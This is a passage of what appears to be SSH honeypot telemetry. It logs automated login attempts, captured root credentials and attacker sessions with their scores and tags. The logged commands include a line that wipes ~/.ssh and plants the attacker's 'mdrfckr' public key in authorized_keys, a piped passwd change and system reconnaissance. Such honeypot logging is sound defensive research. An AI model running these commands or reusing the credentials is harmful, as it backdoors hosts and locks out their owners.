      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo -e \"1122334455\\nZgsQj1XXGJcD\\nZgsQj1XXGJcD\"|passwd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "Enter new UNIX password: ",
      "failed": true,
      "error": "Command not found: Enter new UNIX password:"
    },
    {
      "cmd": "echo \"1122334455\\nZgsQj1XXGJcD\\nZgsQj1XXGJcD\\n\"|passwd",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh",
    "Enter new UNIX password:"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
117.173.65.4
2026-10-05 03:42:22.564632 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jhall

Record ID: 3bbb7e641395
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3bbb7e641395",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:42:22.564632Z",
  "end_time": "2026-10-05T03:42:26.202070Z",
  "duration": "3.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "jhall",
      "pass": "jhall"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
103.248.120.6
2026-10-05 03:41:01.217992 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 82521110ba9d
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 1.8s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "82521110ba9d",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:41:01.217992Z",
  "end_time": "2026-10-05T03:41:02.980904Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
103.248.120.6
2026-10-05 03:40:58.286147 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 52492c9626ca
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.6s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "52492c9626ca",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:40:58.286147Z",
  "end_time": "2026-10-05T03:41:00.931757Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
103.248.120.6
2026-10-05 03:40:54.840304 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / P@55

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 800b56cdfe52
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 8.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "800b56cdfe52",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:40:54.840304Z",
  "end_time": "2026-10-05T03:41:02.984158Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@55"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
121.204.171.142
2026-10-05 03:40:53.612490 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1df7dde2f930
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "1df7dde2f930",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:40:53.612490Z",
  "end_time": "2026-10-05T03:42:53.617119Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}